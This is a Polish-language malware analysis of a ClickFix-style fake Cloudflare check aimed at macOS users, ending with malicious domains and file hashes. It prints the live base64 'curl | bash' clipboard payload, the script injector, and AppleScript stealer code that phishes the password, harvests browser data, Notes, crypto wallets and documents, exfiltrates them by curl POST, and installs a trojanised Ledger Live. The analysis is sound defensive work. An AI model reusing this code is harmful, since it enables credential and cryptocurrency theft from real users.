Kampania typu stealer wymierzona w macOS



Wprowadzenie
Jakiś czas temu, odwiedzając pewną stronę internetową, natknąłem się na podejrzaną witrynę, która przypominała rozwiązanie Cloudflare, ale zawierała instrukcje mające na celu zainfekowanie komputera odwiedzającego.
Przypominała ona znaną kampanię ClickFix, która w przeszłości była wykorzystywana do atakowania użytkowników systemu Windows i nakłaniała ich do uruchamiania złośliwego kodu na swoich komputerach, prowadząc do kradzieży informacji z zainfekowanego urządzenia. W tym przypadku atak był wymierzony w urządzenia działające pod systemem macOS.
Atak pojawia się przy pierwszej wizycie użytkownika na stronie i nie jest wyświetlany podczas kolejnych odwiedzin, co wskazuje na zastosowanie mechanizmu rotacji, utrudniającego łatwe zidentyfikowanie zagrożenia na danej witrynie.
Odkrycie Ataku
Po wejściu na zainfekowaną stronę internetową odwiedzający napotykali następującą zawartość stylizowaną na weryfikację Cloudflare.

Adres URL zainfekowanej strony internetowej został zredagowany na wszystkich obrazach. Pozostawiono wyłącznie domeny powiązane z atakiem oraz samą złośliwą infrastrukturę.
Instrukcja nakazywała użytkownikowi otworzyć aplikację Terminal na swoim komputerze i skopiować wyświetlony tekst za pomocą przycisku Copy.
Ofiara była przekonana, że po naciśnięciu przycisku Copy do schowka został skopiowany następujący tekst:
I am not a robot: Cloudflare Verification ID: 715921
W rzeczywistości przycisk Copy ukrywał złośliwy kod, który był kopiowany do schowka. Kod miał następującą postać:
echo "Y3VybCAtcyBodHRwczovL2dhbW1hLm1ldHJpY3NhZ2dyZWdhdG9yLnRvL3N0cml4L2luZGV4LnBocCB8IG5vaHVwIGJhc2ggJg==" | base64 -d | bash
Po zdekodowaniu złośliwego ładunku z formatu Base64 można zaobserwować następujące polecenie curl
curl -s https://gamma.metricsaggregator.to/strix/index.php | nohup bash &
W rezultacie ze wskazanego adresu pobierany jest skrypt, który następnie jest uruchamiany jako proces diałający w tle.
Mechanizm Infekcji Strony
Podczas analizy ruchu sieciowego w trakcie ładowania zainfekowanej strony internetowej oraz przeglądania jej źródeł możliwe było zauważenie, że strona pobiera zawartość z następujących zewnętrznych witryn:
https://commonloamprojects.com/k3Ts3rHRRKH6ROP0llTc44DR64XEZms-M3qTZDLi
https://neutralmarlservices.com/hkc4cx1RXWAnuMWLqUuwqS30X97Pv3mA0Nsy-lTcqMK95j

Po przeanalizowaniu odpowiedzi widać, że witryny te zwracają następujący kod, który jest wstrzykiwany do kodu frontendowego strony w przeglądarce:
; (function (o, q, f, e, w, j) { w = q.createElement(f); j = q.getElementsByTagName(f)[0]; w.async = 1; w.src = e; j.parentNode.insertBefore(w, j); })(window, document, 'script', `https://metricsaggregator.to/s/X.js`);

Wskazuje to, że złośliwa zawartość imitująca Cloudflare pochodzi ze skryptu X.js, pobieranego z następującego źródła:
https://metricsaggregator.to/s/X.js

Ponowne odwiedzenie stron hostowanych pod domenami commonloamprojects.com oraz neutralmarlservices.com skutkuje pustą odpowiedzią, co uniemożliwia wielokrotne odtworzenie ataku.
commonloamprojects.com

neutralmarlservices.com

Takie zachowanie wskazuje na obecność mechanizmu rotacji lub funkcji o charakterze losowym, która udostępnia złośliwą zawartość jedynie w określonym momencie, ponieważ złośliwa strona nie jest wyświetlana użytkownikowi przy każdej wizycie na zainfekowanej stronie.
Skrypt X.js
Wstrzyknięty skrypt X.js całkowicie zastępuje warstwę wizualną zainfekowanej strony internetowej, wyświetlając fałszywą stronę weryfikacyjną podszywającą się pod usługę Cloudflare.
Skrypt zatrzymuje ładowanie bieżącej strony i usuwa atrybuty strony (takie jak class, id, style itd.) z głównych elementów, skutecznie czyszcząc strukturę DOM.
window.stop();
for (let el of [document.documentElement, document.head, document.body]) {
for (let at of [["class", "style", "lang", "id", "dir"]]) {
el.removeAttribute(at);
}
}
Funkcja decode() jest wykorzystywana do odszyfrowania kodu HTML przechowywanego w zmiennej frame1Source.
function decode(base64Input) {
const binaryString = atob(base64Input);
const utf8Bytes = new Uint8Array([...binaryString].map(char => char.charCodeAt(0)));
return new TextDecoder().decode(utf8Bytes);
}
Na podstawie tej zawartości kod tworzy pełnoekranowy element <iframe> i ładuje do niego treść imitującą kontrolę bezpieczeństwa Cloudflare.
W ten sposób skrypt całkowicie nadpisuje cały interfejs użytkownika własnym, fałszywym widokiem.
let frame1 = createFrame("frame-1", decode(frame1Source))
document.body.appendChild(frame1);
Złośliwym elementem kodu jest zmienna winda, która zawiera wcześniej opisany złośliwy ładunek skopiowany przez użytkownika.
const winda = `echo "Y3VybCAtcyBodHRwczovL2dhbW1hLm1ldHJpY3NhZ2dyZWdhdG9yLnRvL3N0cml4L2luZGV4LnBocCB8IG5vaHVwIGJhc2ggJg==" | base64 -d | bash`;
Skrypt wykonuje fingerprinting systemu operacyjnego użytkownika za pomocą funkcji getOS(), która w obecnej wersji skryptu jest wyłączona.
Obecnie można zauważyć, że autor złośliwego skryptu celowo zakomentował dynamiczne wykrywanie systemu i na sztywno ustawił wartość userOS = "mac".
function getOS() {
const ua = navigator.userAgent;
if (/(tablet|ipad|playbook|silk)|(android(?!.*mobi))/i.test(ua)) return "tablet";
if (/Mobile|iP(hone|od)|Android|BlackBerry|IEMobile|Kindle|Silk-Accelerated|(hpw|web)OS|Opera M(obi|ini)/.test(ua)) return "mobile";
if (ua.includes("Macintosh") || ua.includes("MacIntel") || ua.includes("MacPPC") || ua.includes("Mac OS")) return "mac";
if (ua.includes("Windows") || ua.includes("Win64") || ua.includes("Win32")) return "windows";
return "unknown";
}
// const userOS = getOS();
const userOS = "mac";
Zmienna winda jest następnie wykorzystywana do wstrzyknięcia złośliwego kodu do źródła strony, jak pokazano w poniższym fragmencie kodu:
if (userOS === "mac" || userOS === "unknown") {
macInstructions.classList.remove('hidden');
copyMacCommandButton.addEventListener('click', () => copyToClipboard(winda, copyMacCommandButton));
} else if (userOS === "windows") {
windowsInstructions.classList.remove('hidden');
const windowsCompatibleCommand = `windows_command`;
copyWindowsCommandButton.addEventListener('click', () => copyToClipboard(windowsCompatibleCommand, copyWindowsCommandButton));
} else {
unknownOsInstructions.classList.remove('hidden');
copyUnknownOsCommandButton.addEventListener('click', () => copyToClipboard(winda, copyUnknownOsCommandButton));
}
Jak widać, rozwiązanie to jest wyraźnie dostosowane do systemu macOS.
Zmienna
windowsCompatibleCommandnie została znaleziona nigdzie w złośliwym plikuX.js, co wskazuje, że na chwilę obecną kampania została zaprojektowana tak, aby działać wyłącznie przy atakach wymierzonych w system macOS.
Pobranie Złośliwego Kodu
Gdy uzyskamy dostęp do strony gamma.metricsaggregator.to za pomocą przeglądarki internetowej, czyli strony, z której pobierany jest złośliwy kod, zauważymy, że zwraca ona odpowiedź HTTP 418 "I'm a teapot".
https://gamma.metricsaggregator.to/strix/index.php

HTTP/2 418 I'm a teapot
Server: openresty
Date: Sun, 09 Nov 2025 13:12:52 GMT
Content-Type: text/html; charset=UTF-8
Cache-Control: no-store

Po zmianie nagłówka User-Agent na odpowiadający narzędziu curl, zgodnie z założeniami atakującego zawartymi w złośliwym ładunku, można zaobserwować, że strona zwraca złośliwy kod.
User-Agent: curl/8.1.9

Strona ta zwraca złośliwy kod napisany w języku AppleScript.
Analiza Złośliwego Kodu
Analizując powyższy kod pobrany ze złośliwej strony internetowej, można stwierdzić, że jest to złośliwe oprogramowanie typu infostealer, wymierzone w systemy macOS.
Skrypt zbiera dane z zainfekowanego urządzenia, a następnie kompresuje je do archiwum ZIP.
Dane zebrane przez skrypt są kompresowane w pliku /tmp/salmonela.zip, a następnie wysyłane do złośliwej domeny https://metricsaggregator.to przy użyciu polecenia curl poprzez żądanie HTTP POST z niestandardowym nagłówkiem X-Bid.
do shell script "curl -X POST -H \"X-Bid: f48fbe39836779cadbf148b5952919fd\" \
-F \"lil-arch=@/tmp/salmonela.zip\" \
https://metricsaggregator.to/api/data/receive"
Skrypt zmusza użytkownika do wprowadzenia hasła w fałszywym oknie systemowym, po czym je weryfikuje i zapisuje lokalnie. Do sprawdzenia poprawności hasła wykorzystywane jest polecenie dscl . authonly.
- Wyświetlanie fałszywego okna i odczyt hasła
display dialog "In order to process action required. Input device password to authorize your access:" default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "macOS Protection Service" with hidden answer
set password_entered to text returned of result
- Weryfikacja poprawności hasła
do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
- Zapisanie pozyskanego hasła na dysku
writeText(password_entered, systemProfile & "/.pwd")
Zbieranie danych z przeglądarek internetowych oraz aplikacji Notatki
Złośliwy skrypt próbuje pozyskać dane przechowywane w standardowych plikach przeglądarek internetowych.
Przeszukuje katalogi profili Firefox i kopiuje dane logowania, pliki cookie, historię formularzy oraz klucze szyfrowania.
on parseFF(browsername, firefox, writemind)
try
set myFiles to {"/cookies.sqlite", "/formhistory.sqlite", "/key4.db", "/logins.json"}
set fileList to list folder firefox without invisibles
repeat with currentItem in fileList
set brPrName to browsername & "_" & currentItem
set savePath to writemind & "Brs/" & brPrName
set extSavePath to writemind & "Exts/" & brPrName
firewallets(firefox & currentItem, extSavePath)
set readpath to firefox & currentItem
repeat with FFile in myFiles
readwrite(readpath & FFile, savePath & FFile)
end repeat
end repeat
end try
end parseFF
W przypadku przeglądarek opartych na silniku Chromium skrypt przeszukuje katalogi profili, kopiując między innymi pliki cookie, dane logowania, pliki Web Data oraz zawartość katalogów Local Extension Settings i IndexedDB.
set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
Próbuje on również pozyskać dane związane z przeglądarką Safari oraz aplikacją Notes:
- Safari
try
set safariFolderPath to (path to home folder as text) & "Library:Cookies:"
duplicate file (safariFolderPath & "Cookies.binarycookies") to folder destinationFolderPath with replacing
set name of result to "saf1"
end try
set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")
- Notes
set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
set notesFolder to folder notesFolderPath
set notesFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
repeat with aFile in notesFiles
Zbieranie danych portfeli kryptowalut
Skrypt definiuje listę lokalizacji popularnych portfeli kryptowalut i kopiuje ich katalogi do tymczasowego katalogu Wlt/.
set walletMap to {{"Electrum", systemProfile & "/.electrum/wallets/"}, {"Coinomi", library & "Coinomi/wallets/"}, {"Exodus", library & "Exodus/"}, {"Atomic", library & "atomic/Local Storage/leveldb/"}, {"Wasabi", systemProfile & "/.walletwasabi/client/Wallets/"}, {"Ledger_Live", library & "Ledger Live/"}, {"Monero", systemProfile & "/Monero/wallets/"}, {"Bitcoin_Core", library & "Bitcoin/wallets/"}, {"Litecoin_Core", library & "Litecoin/wallets/"}, {"Dash_Core", library & "DashCore/wallets/"}, {"Electrum_LTC", systemProfile & "/.electrum-ltc/wallets/"}, {"Electron_Cash", systemProfile & "/.electron-cash/wallets/"}, {"Guarda", library & "Guarda/"}, {"Dogecoin_Core", library & "Dogecoin/wallets/"}, {"Trezor_Suite", library & "@trezor/suite-desktop/"}}
try
readwrite(library & "Binance/app-store.json", writemind & "deskwallets/Binance/app-store.json")
end try
try
readwrite(library & "@tonkeeper/desktop/config.json", "deskwallets/TonKeeper/config.json")
end try
. . .
repeat with deskWallet in walletMap
try
GrabFolder(item 2 of deskWallet, writemind & "Wlt/" & item 1 of deskWallet)
end try
Zbieranie dokumentów i plików użytkownika
Skrypt przeszukuje katalogi Desktop oraz Documents w poszukiwaniu plików o określonych rozszerzeniach (w tym .pdf, .docx, .wallet, .key oraz .jpg), a następnie kopiuje je do katalogu roboczego.
set extensionsList to {"txt", "pdf", "docx", "wallet", "key", "keys", "doc", "jpeg", "png", "kdbx", "rtf", "jpg"}
try
set desktopFiles to every file of desktop
set documentsFiles to every file of folder "Documents" of (path to home folder)
repeat with aFile in (desktopFiles & documentsFiles)
set fileExtension to name extension of aFile
if fileExtension is in extensionsList then
set fileSize to size of aFile
if (bankSize + fileSize) < 10 * 1024 * 1024 then
try
duplicate aFile to folder destinationFolderPath with replacing
set bankSize to bankSize + fileSize
end try
else
exit repeat
end if
end if
end repeat
end try
Odpowiednie pliki są kopiowane do katalogu docelowego, przy jednoczesnym śledzeniu ich łącznego rozmiaru. Proces zatrzymuje się po osiągnięciu limitu 10 MB.
Pakowanie i eksfiltracja danych
Po zakończeniu procedury zbierania danych przez skrypt, zgromadzone dane są kompresowane i wysyłane na zewnętrzny serwer kontrolowany przez atakującego.
do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/salmonela.zip"
Dane są następnie eksfiltrowane przy użyciu funkcji send_data().
send_data(0, outUsername, serverIP, isBot)
on send_data(attempt, outUsername, serverIP, isBot)
try
set result_send to (do shell script "curl -X POST -H \"X-Bid: " & "f48fbe39836779cadbf148b5952919fd" & "\" -F \"lil-arch=@/tmp/salmonela.zip\" https://metricsaggregator.to/api/data/receive")
on error
if attempt < 10 then
delay 60
send_data(attempt + 1, outUsername, serverIP)
end if
end try
end send_data
Funkcja próbuje przesłać skompresowane archiwum na zdalny serwer za pomocą żądania HTTP POST. W przypadku niepowodzenia transmisji podejmuje do dziesięciu prób ponownego wysłania, odczekując 60 sekund pomiędzy kolejnymi próbami.
Po zakończeniu eksfiltracji danych skrypt usuwa katalogi powiązane ze swoim działaniem.
do shell script "rm -r " & writemind
do shell script "rm /tmp/salmonela.zip"
Second Stage
Widzimy również, że po zakończeniu działania głównej części skryptu wywoływana jest funkcja toast(), która uruchamiana jest z użyciem wcześniej pozyskanego hasła użytkownika.
W obecnej wersji skryptu funkcja ta jest zakomentowana, dlatego nie zostanie wykonana.
try
-- toast(password_entered, "Ledger Live", "https://gamma.metricsaggregator.to/7379951eb23e20eac7369c2b91a325d2_b_l.php", "lekkjah", "lekkoisk")
end try
Analiza sposobu działania tej funkcji pokazuje, że odpowiada ona za pobranie, rozpakowanie oraz instalację ładunku second stage na systemie ofiary.
on toast(sampleVal, anotherVal, thirdVal, fourthVal, fifthVal)
set downloadURL to ""
set appName to "" & anotherVal & ".app"
set appPath to "/Applications/" & appName
set tempDir to "/tmp/"
set zipFile to tempDir & fourthVal & ".zip"
set extractDir to tempDir & fifthVal
try
do shell script "curl -L -o '" & POSIX path of zipFile & "' '" & thirdVal & "'"
try
do shell script "pkill -9 '" & appName & "'"
end try
delay 1
do shell script "mkdir -p '" & POSIX path of extractDir & "'"
do shell script "unzip -q '" & POSIX path of zipFile & "' -d '" & POSIX path of extractDir & "'"
do shell script "rm -r '" & POSIX path of extractDir & "/__MACOSX/" & "'"
set findAppResult to do shell script "find '" & POSIX path of extractDir & "' -maxdepth 2 -name '*.app' -type d | head -1"
set newAppPath to findAppResult
if newAppPath is "" then
do shell script "rm -rf '" & POSIX path of extractDir & "'"
do shell script "rm -f '" & POSIX path of zipFile & "'"
return
end if
do shell script "echo \"" & sampleVal & "\" | sudo -S rm -rf '" & POSIX path of appPath & "'"
delay 1
do shell script "echo \"" & sampleVal & "\" | sudo -S cp -r '" & newAppPath & "' '" & POSIX path of appPath & "'"
do shell script "rm -rf '" & POSIX path of extractDir & "'"
do shell script "rm -f '" & POSIX path of zipFile & "'"
end try
end toast
Możemy zaobserwować, że second stage jest pobierany z określonej lokalizacji.
https://gamma.metricsaggregator.to/7379951eb23e20eac7369c2b91a325d2_b_l.php
Podobnie jak w przypadku pierwotnego kodu, pobranie go jest uzależnione od nagłówka User-Agent odpowiadającemu narzędziu curl:
Content-Disposition: attachment; filename="GLM.zip"

Zauważamy, że pobierany jest skompresowany katalog GLM.zip stanowiący second stage ataku.
Na podstawie kodu funkcji toast() wiemy, że plik ZIP zostanie rozpakowany i zainstalowany na zainfekowanym urządzeniu jako aplikacja Ledger Live.
Archiwum ZIP jest rozpakowywane przy użyciu następującego polecenia:
do shell script "curl -L -o '" & POSIX path of zipFile & "' '" & thirdVal & "'"
Następnie istniejąca aplikacja Ledger Live, prawdopodobnie podszywająca się pod aplikację Ledger Wallet, jest usuwana i zastępowana złośliwym kodem.
do shell script "echo \"" & sampleVal & "\" | sudo -S rm -rf '" & POSIX path of appPath & "'"
do shell script "echo \"" & sampleVal & "\" | sudo -S cp -r '" & newAppPath & "' '" & POSIX path of appPath & "'"
Na końcu procesu pobierania i instalacji second stage skrypt usuwa pliki tymczasowe oraz katalogi.
do shell script "rm -rf '" & POSIX path of extractDir & "'"
do shell script "rm -f '" & POSIX path of zipFile & "'"
Złośliwe Domeny
Na podstawie powyższej analizy możemy zidentyfikować następujące złośliwe domeny wykorzystywane w tej kampanii:
metricsaggregator.to
gamma.metricsaggregator.to
commonloamprojects.com
neutralmarlservices.com
Na podstawie danych z serwisu SecurityTrails możemy stwierdzić, że domena metricsaggregator.to jest aktywna od 31 października 2025 r. i jest zarejestrowana pod adresem IP 23.177.184.137.

Możemy również zidentyfikować następujące subdomeny z nią powiązane:
fls.metricsaggregator.to
brsp.metricsaggregator.to
gamma.metricsaggregator.to
plsp.metricsaggregator.to
metricsaggregator.to
trousers.metricsaggregator.to
sklk.metricsaggregator.to

Jedną z nich jest gamma.metricsaggregator.to, którą również zaobserwowaliśmy w tej kampanii. Jest ona także powiązana z adresem IP 23.177.184.137.

W przypadku domeny commonloamprojects.com widzimy, że jest ona aktywna od 17 września 2025 r., a jej hosting zmieniał się na przestrzeni czasu. Obecnie jest ona powiązana z adresem IP 185.251.89.109.

Podobna sytuacja dotyczy domeny neutralmarlservices.com, która również jest aktywna od 17 września 2025 r. i jest także powiązana z adresem IP 185.251.89.109.

Indicators of Compromise
Poniższa tabela przedstawia Indicators of Compromise (IoCs) zaobserwowane w tej kampanii. Zawiera ona złośliwe pliki zidentyfikowane podczas analizy wraz z odpowiadającymi im kryptograficznymi wartościami.
Skrypt
salmonela.scptjest złośliwym plikiem AppleScript, który jest pobierany z domenygamma.metricsaggregator.to.
| Złośliwy plik | Hash MD5 |
|---|---|
| X.js | 8b974bf976b0729edec27aec39f666f2 |
| salmonela.scpt | 535104b5ec773b9c4dbaab6527c4f88a |
| GLM.zip | f64d1ec3f0f99faa6d119bee34987648 |
Źródła
Istnieje wiele interesujących artykułów omawiających kampanie wymierzone w macOS, bardzo podobnych do przypadku opisanego w tym wpisie, które mogą zainteresować czytelnika.
- Mac.c stealer evolves into MacSync: Now with a backdoor
- Mac.c Stealer Takes on AMOS: A New Rival Shakes Up the macOS Infostealer Market
- An MDR Analysis of the AMOS Stealer Campaign Targeting macOS via ‘Cracked’ Apps
- Think before you Click(Fix): Analyzing the ClickFix social engineering technique